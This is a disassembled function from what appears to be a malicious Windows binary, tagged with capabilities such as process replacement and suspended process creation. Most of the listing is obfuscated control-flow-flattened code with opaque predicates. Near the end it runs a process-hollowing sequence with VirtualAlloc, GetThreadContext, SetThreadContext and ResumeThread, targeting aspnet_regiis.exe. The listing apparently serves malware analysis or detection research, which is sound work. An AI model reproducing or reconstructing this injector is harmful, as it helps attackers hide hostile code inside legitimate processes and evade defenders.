Function at 0x10002840
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x114
mov eax, dword [0x10068800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x5785e274
sub edx, 1
add edx, 0x5785e274
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x116], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x115], al
mov dword [ebp - 0x11c], 0xa7b06c87
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
sub eax, 0x803461c2
je 0x1000936d
jmp 0x100028bb
mov eax, dword [ebp - 0x120]
sub eax, 0x808836b6
je 0x10007907
jmp 0x100028d1
mov eax, dword [ebp - 0x120]
sub eax, 0x8099671f
je 0x1000545e
jmp 0x100028e7
mov eax, dword [ebp - 0x120]
sub eax, 0x81142374
je 0x10008a6e
jmp 0x100028fd
mov eax, dword [ebp - 0x120]
sub eax, 0x8188f7bc
je 0x100065c9
jmp 0x10002913
mov eax, dword [ebp - 0x120]
sub eax, 0x81ada118
je 0x1000992f
jmp 0x10002929
mov eax, dword [ebp - 0x120]
sub eax, 0x8226445e
je 0x10008beb
jmp 0x1000293f
mov eax, dword [ebp - 0x120]
sub eax, 0x831dbb23
je 0x10005b8c
jmp 0x10002955
mov eax, dword [ebp - 0x120]
sub eax, 0x836498d0
je 0x1000a675
jmp 0x1000296b
mov eax, dword [ebp - 0x120]
sub eax, 0x837ca201
je 0x10006c76
jmp 0x10002981
mov eax, dword [ebp - 0x120]
sub eax, 0x83be77c1
je 0x1000a4aa
jmp 0x10002997
mov eax, dword [ebp - 0x120]
sub eax, 0x83ee9dba
je 0x10008d57
jmp 0x100029ad
mov eax, dword [ebp - 0x120]
sub eax, 0x84ac45d2
je 0x10009ab7
jmp 0x100029c3
mov eax, dword [ebp - 0x120]
sub eax, 0x84e50af9
je 0x100072be
jmp 0x100029d9
mov eax, dword [ebp - 0x120]
sub eax, 0x85217a57
je 0x100064a7
jmp 0x100029ef
mov eax, dword [ebp - 0x120]
sub eax, 0x86a9b725
je 0x100084ac
jmp 0x10002a05
mov eax, dword [ebp - 0x120]
sub eax, 0x86d31a41
je 0x10005803
jmp 0x10002a1b
mov eax, dword [ebp - 0x120]
sub eax, 0x880af14c
je 0x10009f04
jmp 0x10002a31
mov eax, dword [ebp - 0x120]
sub eax, 0x88435324
je 0x100065e6
jmp 0x10002a47
mov eax, dword [ebp - 0x120]
sub eax, 0x888520e7
je 0x10007b9b
jmp 0x10002a5d
mov eax, dword [ebp - 0x120]
sub eax, 0x8ad49379
je 0x10007f2b
jmp 0x10002a73
mov eax, dword [ebp - 0x120]
sub eax, 0x8b2e6e54
je 0x10009f89
jmp 0x10002a89
mov eax, dword [ebp - 0x120]
sub eax, 0x8b3b8130
je 0x10008b42
jmp 0x10002a9f
mov eax, dword [ebp - 0x120]
sub eax, 0x8c0b078e
je 0x10005eb8
jmp 0x10002ab5
mov eax, dword [ebp - 0x120]
sub eax, 0x8c68defe
je 0x1000640a
jmp 0x10002acb
mov eax, dword [ebp - 0x120]
sub eax, 0x8d5d36e4
je 0x10009d00
jmp 0x10002ae1
mov eax, dword [ebp - 0x120]
sub eax, 0x8e04689f
je 0x1000a8b5
jmp 0x10002af7
mov eax, dword [ebp - 0x120]
sub eax, 0x8e3f7115
je 0x10005871
jmp 0x10002b0d
mov eax, dword [ebp - 0x120]
sub eax, 0x8e5e41eb
je 0x10006023
jmp 0x10002b23
mov eax, dword [ebp - 0x120]
sub eax, 0x8e65bb6f
je 0x10007e9c
jmp 0x10002b39
mov eax, dword [ebp - 0x120]
sub eax, 0x8e72ccf5
je 0x1000941e
jmp 0x10002b4f
mov eax, dword [ebp - 0x120]
sub eax, 0x8edec922
je 0x10006bc6
jmp 0x10002b65
mov eax, dword [ebp - 0x120]
sub eax, 0x908848fa
je 0x10006cbf
jmp 0x10002b7b
mov eax, dword [ebp - 0x120]
sub eax, 0x91113185
je 0x100072af
jmp 0x10002b91
mov eax, dword [ebp - 0x120]
sub eax, 0x91669161
je 0x10006f88
jmp 0x10002ba7
mov eax, dword [ebp - 0x120]
sub eax, 0x920e8c4d
je 0x10009735
jmp 0x10002bbd
mov eax, dword [ebp - 0x120]
sub eax, 0x92ca97e1
je 0x100071c4
jmp 0x10002bd3
mov eax, dword [ebp - 0x120]
sub eax, 0x9348d414
je 0x1000a3c3
jmp 0x10002be9
mov eax, dword [ebp - 0x120]
sub eax, 0x935fc3e9
je 0x100095ff
jmp 0x10002bff
mov eax, dword [ebp - 0x120]
sub eax, 0x94690cdb
je 0x10009ea8
jmp 0x10002c15
mov eax, dword [ebp - 0x120]
sub eax, 0x96249154
je 0x10007969
jmp 0x10002c2b
mov eax, dword [ebp - 0x120]
sub eax, 0x966a3ae3
je 0x10005a7d
jmp 0x10002c41
mov eax, dword [ebp - 0x120]
sub eax, 0x967502d6
je 0x1000648a
jmp 0x10002c57
mov eax, dword [ebp - 0x120]
sub eax, 0x96effa6e
je 0x10009856
jmp 0x10002c6d
mov eax, dword [ebp - 0x120]
sub eax, 0x96f224e8
je 0x1000a841
jmp 0x10002c83
mov eax, dword [ebp - 0x120]
sub eax, 0x974c590d
je 0x10004e51
jmp 0x10002c99
mov eax, dword [ebp - 0x120]
sub eax, 0x97f769c9
je 0x1000a237
jmp 0x10002caf
mov eax, dword [ebp - 0x120]
sub eax, 0x98ecde12
je 0x10006b3b
jmp 0x10002cc5
mov eax, dword [ebp - 0x120]
sub eax, 0x99400ce0
je 0x1000a561
jmp 0x10002cdb
mov eax, dword [ebp - 0x120]
sub eax, 0x9b6875ac
je 0x10005f5a
jmp 0x10002cf1
mov eax, dword [ebp - 0x120]
sub eax, 0x9bf9fbbe
je 0x1000a748
jmp 0x10002d07
mov eax, dword [ebp - 0x120]
sub eax, 0x9d9518bc
je 0x100073eb
jmp 0x10002d1d
mov eax, dword [ebp - 0x120]
sub eax, 0x9fef996a
je 0x1000a32a
jmp 0x10002d33
mov eax, dword [ebp - 0x120]
sub eax, 0xa010024f
je 0x1000a51f
jmp 0x10002d49
mov eax, dword [ebp - 0x120]
sub eax, 0xa040a783
je 0x10008298
jmp 0x10002d5f
mov eax, dword [ebp - 0x120]
sub eax, 0xa0434db0
je 0x1000591d
jmp 0x10002d75
mov eax, dword [ebp - 0x120]
sub eax, 0xa1a14ba9
je 0x1000770c
jmp 0x10002d8b
mov eax, dword [ebp - 0x120]
sub eax, 0xa328de3b
je 0x1000a786
jmp 0x10002da1
mov eax, dword [ebp - 0x120]
sub eax, 0xa3882f90
je 0x1000a006
jmp 0x10002db7
mov eax, dword [ebp - 0x120]
sub eax, 0xa42a2fd3
je 0x10009454
jmp 0x10002dcd
mov eax, dword [ebp - 0x120]
sub eax, 0xa4d7ef20
je 0x1000658a
jmp 0x10002de3
mov eax, dword [ebp - 0x120]
sub eax, 0xa5d57e3c
je 0x100052ad
jmp 0x10002df9
mov eax, dword [ebp - 0x120]
sub eax, 0xa75db1bb
je 0x1000a924
jmp 0x10002e0f
mov eax, dword [ebp - 0x120]
sub eax, 0xa7b06c87
je 0x10004bfc
jmp 0x10002e25
mov eax, dword [ebp - 0x120]
sub eax, 0xa94d2205
je 0x10006f3f
mov al, byte [ebp - 0x116]
mov cl, byte [ebp - 0x115]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd3ac5a69
mov ecx, 0x7e1adcae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100173a0]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x6c630842
jmp 0x1000a93d
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001737c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xf53bb17d
jmp 0x1000a93d
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10017370]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x4b2f54a9
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0xaff64103
jmp 0x1000a93d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x39d29154
mov ecx, 0xdf5c010a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0xb4b412e5
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xb2e6996f
sub edx, 1
sub edx, 0xb2e6996f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xca3fb923
mov ecx, 0x329db365
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x6e66544c
sub edx, 1
add edx, 0x6e66544c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x52b662e9
mov ecx, 0x3afc1117
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xff2b474
sub edx, 1
add edx, 0xff2b474
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x25ddf86e
mov ecx, 0x33e1ec38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dl, 1
mov eax, 0x71d96ec3
mov ecx, 0x26b085fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x3656f54e
sub edx, 1
add edx, 0x3656f54e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x382b991d
mov ecx, 0x29d1e541
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dl, 1
mov eax, 0x433e1df4
mov ecx, 0x726f2a38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dl, 1
mov eax, 0xc4521f25
mov ecx, 0x85217a57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x169d1284
sub edx, 1
add edx, 0x169d1284
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb87849dc
mov ecx, 0xb776c113
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0xb0c1f22c
jmp 0x1000a93d
mov dl, 1
mov eax, 0xb12c98df
mov ecx, 0x88435324
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10017310]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001730c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x2dff5243
jmp 0x1000a93d
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100172ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100172e8]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x6464b139
jmp 0x1000a93d
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100171dc]
movss dword [eax], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x11458c05
sub edx, 1
sub edx, 0x11458c05
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd64ca561
mov ecx, 0x28ee7407
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfbd22fd4
mov ecx, 0x908848fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100171d8]
movss dword [eax], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xf1678bc6
sub edx, 1
sub edx, 0xf1678bc6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfbd22fd4
mov ecx, 0x406651a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100171d0]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xa10cc536
sub edx, 1
sub edx, 0xa10cc536
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x83be77c1
mov ecx, 0x617fd5f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x6cb91c20
sub edx, 1
add edx, 0x6cb91c20
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcfda6caf
mov ecx, 0x28de159c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x84e50af9
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x110a91aa
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x948e3f71
sub edx, 1
add edx, 0x948e3f71
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1ad47d53
mov ecx, 0x2a22860e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x452219a9
jmp 0x1000a93d
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100172a8]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x3cae6c4d
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x70310adb
sub edx, 1
add edx, 0x70310adb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xea146e9b
mov ecx, 0x19289aa8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0xe8c15a3e
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0xbb06cc1f
jmp 0x1000a93d
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10017284]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xf4204d10
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x40046c4f
sub edx, 1
add edx, 0x40046c4f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x836498d0
mov ecx, 0x6795dc24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10017198]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10017194]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x777f68d3
sub edx, 1
sub edx, 0x777f68d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfe0fe708
mov ecx, 0xd41e822f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa328de3b
mov ecx, 0x1c4ae395
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0xdf1c174f
jmp 0x1000a93d
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x11c], 0xc4df321c
jmp 0x1000a93d
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002560
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x11c], 0xf29a8628
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x420a1be1
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0xdaba6741
jmp 0x1000a93d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x774f6e92
mov ecx, 0x190704b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x12aec853
jmp 0x1000a93d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x5256bc27
sub edx, 1
sub edx, 0x5256bc27
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7fe2ee28
mov ecx, 0xb3e22806
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x788e4d80
sub edx, 1
add edx, 0x788e4d80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x12f8ad50
mov ecx, 0x14793895
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov edx, dword [ebp - 0x2c]
mov eax, 0xfb04763b
mov ecx, 0x58b0d9c7
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0xfb04763b
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x3cd7c286
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x2981684a
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x4e0eb041
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa75db1bb
mov ecx, 0xb943eb89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfbec82d
mov ecx, 0x5859c3e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a93d
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001721c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x186bd259
jmp 0x1000a93d
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10017204]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10017200]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100171fc]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xad730ab4
jmp 0x1000a93d
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100171ec]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xddca95e
jmp 0x1000a93d
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100171d0]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x91669161
jmp 0x1000a93d
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100171c0]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x54baadb8
jmp 0x1000a93d
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100171b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100171b4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xae9f6909
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x6795dc24
jmp 0x1000a93d
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
sub ecx, 0x464fdf31
add ecx, eax
add ecx, 0x464fdf31
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x11c], 0x4394751f
jmp 0x1000a93d
mov eax, dword [ebp - 0xd8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x11c], 0x1c4ae395
jmp 0x1000a93d
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x11c], 0x3657c107
jmp 0x1000a93d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
add ecx, 0x4cc1e15
add ecx, eax
sub ecx, 0x4cc1e15
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x11c], 0x791901bd
jmp 0x1000a93d
mov dword [ebp - 0x11c], 0x8b2e6e54
jmp 0x1000a93d
jmp 0x1000289f